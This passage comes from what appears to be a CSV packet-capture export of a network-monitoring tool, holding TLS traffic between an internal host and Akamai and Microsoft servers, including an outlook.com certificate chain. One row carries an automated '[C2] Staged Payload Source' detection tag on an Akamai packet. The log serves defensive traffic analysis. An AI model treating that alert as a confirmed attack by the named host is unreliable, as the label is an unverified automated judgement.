64, \"\"proto\"\": 6, \"\"chksum\"\": 38051, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251460785, \"\"ack\"\": 507095793, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.617399,30,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=307434086 Ack=3129736184,bc2411360d0cbc24112907bb0800450002a1eb1f400040064f2a021759530a98980b01bbf9c412531266ba8bfbf85018003f00a100001703030274bedc482263f3ddbc515e1b45e94ef9c3a0479347990354a11e05222df965db8e7fd14f90b290a311f1cdbf3b96596143b267aa153481b226cfe5860807d4093ed90e6c82e42f1d74a385457467adfffd1fa5756250146c38da122b43f16ab72128207c963556ee9a18f587259f74209cbeafef11b889c4aa0a5fd0e79d2af0416511b1df121dc684f6a9e13d93e353238152223131689072e21ef5b22f1501c108ec32bea1a5b65a6896ee59829f4760794a6dd7fd3e298ac13b49a83db23a4232eaa96cdf192fc3c310cf57682756beeef716eb6092eb9c5bea164098bab9e2ad00e076dd1b1304ce24f09b9f6fe051cd258b55d2b209db6afc2576f46f8e9b51514126893544d2698fd1c732ddffc4deb22c744639399bda54445604a30d1e2884d90103d4373c7d727aeb932ca77a5cb234c6747209245b2814aaab1c9aa3a44f843b23db0d57ce8c44443de0940c93574f214c820d7e94330011219c1281dc485bba1b597ddabd188e1814d849a272c260cd477a79ab6fb39dceec7a5870611f660143bd08a36409f7b37cf0abdaea48d265fb74fc7c0d07e6a124afcbe468cd8170e7a02503184fa32d305b94a9cb55d7336632d8632804ec5301845a7ab42dde995471b640c3f6baf163db800f6f646955d38d1f3789e2bb657f888ca600129f474591b887db343171aed1ac4cf2d1b6f1143bd0f2f852f195f5d066b94fca7822eceeb5b94dff2f9125be76546913624f2fb5f0578473dbeb15d8300e16b0103b099503904c68e92eb37a5ade96043cb0498167931230a32475f88e39db2e28a3510bc031736dc203cca10b78e59b7b48db17be083b9267d28d8e1e34b806b932cf99d22e1c9bc11e3bc71cb239f5b164,\".$.6\n..$.)....E.....@.@.O*..YS\n........S.f....P..?........t..H\"\"c...Q^.E.N...G.G..T...\"\"-.e....O........;.YaC.g..4..&......\t>..l../.t..Etg.....ubP.l8..+C.j.!( |.5V.....%.t .........\n_...*.Ae..........=..S#.R\"\"11h.r..../.....2....Zh..Y..G`yJm..>)..;I.=.:B2..l../....Wh'V.....`...[..@.......v.....$...o.Q.%.U..\t.j.%v.o..QQA&.5D.i...2.....,tF99..TDV..\n.(.....7<}rz..,.z\\.4.tr\t$[(.......O.;#.\nW..DD=....WO!L.\n~.3..!....H[..Y}.......I.r.`.Gzy.o....zXpa.f.C...d\t..|....H.e.t.|\n...$...h..p..%..O.-0[...U.3f2.c(..S..Zz.-..Tq.@....c...odiU...7...e.......GE....41q...L.....;...R....f.O.x\"\"....M./.%.vTi.bO/..W.s....0....;\t...Lh...zZ...<.I.g..0.$u..9..(.Q..1sm.....x..{H....;.g....4...2........;...9..d\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 673, \"\"id\"\": 60191, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20266, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307434086, \"\"ack\"\": 3129736184, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 161, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 628, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\xbe\\\\xdcH\\\"\"c\\\\xf3\\\\xdd\\\\xbcQ^\\\\x1bE\\\\xe9N\\\\xf9\\\\xc3\\\\xa0G\\\\x93G\\\\x99\\\\x03T\\\\xa1\\\\x1e\\\\x05\\\"\"-\\\\xf9e\\\\xdb\\\\x8e\\\\x7f\\\\xd1O\\\\x90\\\\xb2\\\\x90\\\\xa3\\\\x11\\\\xf1\\\\xcd\\\\xbf;\\\\x96YaC\\\\xb2g\\\\xaa\\\\x154\\\\x81\\\\xb2&\\\\xcf\\\\xe5\\\\x86\\\\x08\\\\x07\\\\xd4\\\\t>\\\\xd9\\\\x0el\\\\x82\\\\xe4/\\\\x1dt\\\\xa3\\\\x85Etg\\\\xad\\\\xff\\\\xfd\\\\x1f\\\\xa5ubP\\\\x14l8\\\\xda\\\\x12+C\\\\xf1j\\\\xb7!( |\\\\x965V\\\\xee\\\\x9a\\\\x18\\\\xf5\\\\x87%\\\\x9ft \\\\x9c\\\\xbe\\\\xaf\\\\xef\\\\x11\\\\xb8\\\\x89\\\\xc4\\\\xaa\\\\n_\\\\xd0\\\\xe7\\\\x9d*\\\\xf0Ae\\\\x11\\\\xb1\\\\xdf\\\\x12\\\\x1d\\\\xc6\\\\x84\\\\xf6\\\\xa9\\\\xe1=\\\\x93\\\\xe3S#\\\\x81R\\\"\"11h\\\\x90r\\\\xe2\\\\x1e\\\\xf5\\\\xb2/\\\\x15\\\\x01\\\\xc1\\\\x08\\\\xec2\\\\xbe\\\\xa1\\\\xa5\\\\xb6Zh\\\\x96\\\\xeeY\\\\x82\\\\x9fG`yJm\\\\xd7\\\\xfd>)\\\\x8a\\\\xc1;I\\\\xa8=\\\\xb2:B2\\\\xea\\\\xa9l\\\\xdf\\\\x19/\\\\xc3\\\\xc3\\\\x10\\\\xcfWh\\\\'V\\\\xbe\\\\xee\\\\xf7\\\\x16\\\\xeb`\\\\x92\\\\xeb\\\\x9c[\\\\xea\\\\x16@\\\\x98\\\\xba\\\\xb9\\\\xe2\\\\xad\\\\x00\\\\xe0v\\\\xdd\\\\x1b\\\\x13\\\\x04\\\\xce$\\\\xf0\\\\x9b\\\\x9fo\\\\xe0Q\\\\xcd%\\\\x8bU\\\\xd2\\\\xb2\\\\t\\\\xdbj\\\\xfc%v\\\\xf4o\\\\x8e\\\\x9bQQA&\\\\x895D\\\\xd2i\\\\x8f\\\\xd1\\\\xc72\\\\xdd\\\\xff\\\\xc4\\\\xde\\\\xb2,tF99\\\\x9b\\\\xdaTDV\\\\x04\\\\xa3\\\\r\\\\x1e(\\\\x84\\\\xd9\\\\x01\\\\x03\\\\xd47<}rz\\\\xeb\\\\x93,\\\\xa7z\\\\\\\\\\\\xb24\\\\xc6tr\\\\t$[(\\\\x14\\\\xaa\\\\xab\\\\x1c\\\\x9a\\\\xa3\\\\xa4O\\\\x84;#\\\\xdb\\\\rW\\\\xce\\\\x8cDD=\\\\xe0\\\\x94\\\\x0c\\\\x93WO!L\\\\x82\\\\r~\\\\x943\\\\x00\\\\x11!\\\\x9c\\\\x12\\\\x81\\\\xdcH[\\\\xba\\\\x1bY}\\\\xda\\\\xbd\\\\x18\\\\x8e\\\\x18\\\\x14\\\\xd8I\\\\xa2r\\\\xc2`\\\\xcdGzy\\\\xabo\\\\xb3\\\\x9d\\\\xce\\\\xeczXpa\\\\x1ff\\\\x01C\\\\xbd\\\\x08\\\\xa3d\\\\t\\\\xf7\\\\xb3|\\\\xf0\\\\xab\\\\xda\\\\xeaH\\\\xd2e\\\\xfbt\\\\xfc|\\\\r\\\\x07\\\\xe6\\\\xa1$\\\\xaf\\\\xcb\\\\xe4h\\\\xcd\\\\x81p\\\\xe7\\\\xa0%\\\\x03\\\\x18O\\\\xa3-0[\\\\x94\\\\xa9\\\\xcbU\\\\xd73f2\\\\xd8c(\\\\x04\\\\xecS\\\\x01\\\\x84Zz\\\\xb4-\\\\xde\\\\x99Tq\\\\xb6@\\\\xc3\\\\xf6\\\\xba\\\\xf1c\\\\xdb\\\\x80\\\\x0fodiU\\\\xd3\\\\x8d\\\\x1f7\\\\x89\\\\xe2\\\\xbbe\\\\x7f\\\\x88\\\\x8c\\\\xa6\\\\x00\\\\x12\\\\x9fGE\\\\x91\\\\xb8\\\\x87\\\\xdb41q\\\\xae\\\\xd1\\\\xacL\\\\xf2\\\\xd1\\\\xb6\\\\xf1\\\\x14;\\\\xd0\\\\xf2\\\\xf8R\\\\xf1\\\\x95\\\\xf5\\\\xd0f\\\\xb9O\\\\xcax\\\"\"\\\\xec\\\\xee\\\\xb5\\\\xb9M\\\\xff/\\\\x91%\\\\xbevTi\\\\x13bO/\\\\xb5\\\\xf0W\\\\x84s\\\\xdb\\\\xeb\\\\x15\\\\xd80\\\\x0e\\\\x16\\\\xb0\\\\x10;\\\\t\\\\x95\\\\x03\\\\x90Lh\\\\xe9.\\\\xb3zZ\\\\xde\\\\x96\\\\x04<\\\\xb0I\\\\x81g\\\\x93\\\\x120\\\\xa3$u\\\\xf8\\\\x8e9\\\\xdb.(\\\\xa3Q\\\\x0b\\\\xc01sm\\\\xc2\\\\x03\\\\xcc\\\\xa1\\\\x0bx\\\\xe5\\\\x9b{H\\\\xdb\\\\x17\\\\xbe\\\\x08;\\\\x92g\\\\xd2\\\\x8d\\\\x8e\\\\x1e4\\\\xb8\\\\x06\\\\xb92\\\\xcf\\\\x99\\\\xd2.\\\\x1c\\\\x9b\\\\xc1\\\\x1e;\\\\xc7\\\\x1c\\\\xb29\\\\xf5\\\\xb1d' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:47.668023,31,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129736184 Ack=307434719,bc24112907bbbc2411360d0c0800450000288a1c4000800672a60a98980b02175953f9c401bbba8bfbf8125314df5010200eb8820000,\".$.)...$.6\n...E..(..@...r.\n.....YS.........S..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35356, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29350, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129736184, \"\"ack\"\": 307434719, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8206, \"\"chksum\"\": 47234, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.843144,32,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=251460785 Ack=507095793,bc2411360d0cbc24112907bb080045000d809c7040004006874a28683eb20a98980b01bbf9de0efcfcb11e39aaf15018003f17300000160303110b0200006603036a2eb7cf1c8faf2830188e5cbc2481790ffed60397fa87ed444f574e4752440120e631000098497b253036ce9f2544fe237389d834ea100eff6c89ee27905ffda2c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f,\".$.6\n..$.)....E.\n..p@.@..J(h>.\n............9..P..?.0..........f..j......(0..\\.$.y........DOWNGRD. .1...I{%06..%D.#s..4....l..'._...0........#.........h2...............\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 40048, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 34634, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251460785, \"\"ack\"\": 507095793, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 5936, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"160303110b0200006603036a2eb7cf1c8faf2830188e5cbc2481790ffed60397fa87ed444f574e4752440120e631000098497b253036ce9f2544fe237389d834ea100eff6c89ee27905ffda2c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750